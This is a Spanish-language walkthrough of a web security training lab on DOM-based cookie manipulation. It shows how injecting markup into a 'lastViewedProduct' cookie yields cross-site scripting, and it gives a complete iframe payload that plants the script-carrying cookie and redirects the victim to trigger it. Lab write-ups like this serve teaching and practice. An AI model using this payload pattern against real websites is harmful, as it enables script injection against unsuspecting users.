
Descripción
This lab demonstrates DOM-based client-side cookie manipulation. To solve this lab, inject a cookie that will cause XSS on a different page and call the print()
function. You will need to use the exploit server to direct the victim to the correct pages.
DOM-based cookie manipulation writeup
Al entrar veremos una tienda online. Al visitar un producto, la página nos pondrá una cookie llamada ‘lastViewedProduct’, que almacenará la URL del producto.

Esta cookie hará que en la página principal salga un enlace para ver el último producto:

Experimentando con el valor de la cookie, podremos hacer que genere un alert() cerrando la etiqueta <a> con »&><script>alert(«test»)</script>’:

Ahora tenemos que llevar este PoC a un iframe. El código será el siguiente:
<iframe src="https://0a9f0050039933f780643f3900b00029.web-security-academy.net/product?productId=1&'><script>print()</script>" onload="if(!window.x)this.src='https://0a9f0050039933f780643f3900b00029.web-security-academy.net/';window.x=1;">
La funcionalidad de este código es la siguiente:
- Hace que la persona visite un producto (
https://0a9f0050039933f780643f3900b00029.web-security-academy.net/product?productId=1&'><script>print()</script>
) - Una vez que la página se ha cargado, redirige al usuario a la raíz (onload=»if(!window.x)this.src=’https://0a9f0050039933f780643f3900b00029.web-security-academy.net/’)
- Se pone la variable window.x a 1 para que no se vuelva a redirigir al usuario (window.x=1;).
Esto es necesario, debido a que necesitamos que la víctima visite un producto con la URL con el payload de JavaScript y tenemos que llevarla a la raíz para que se ejecute.
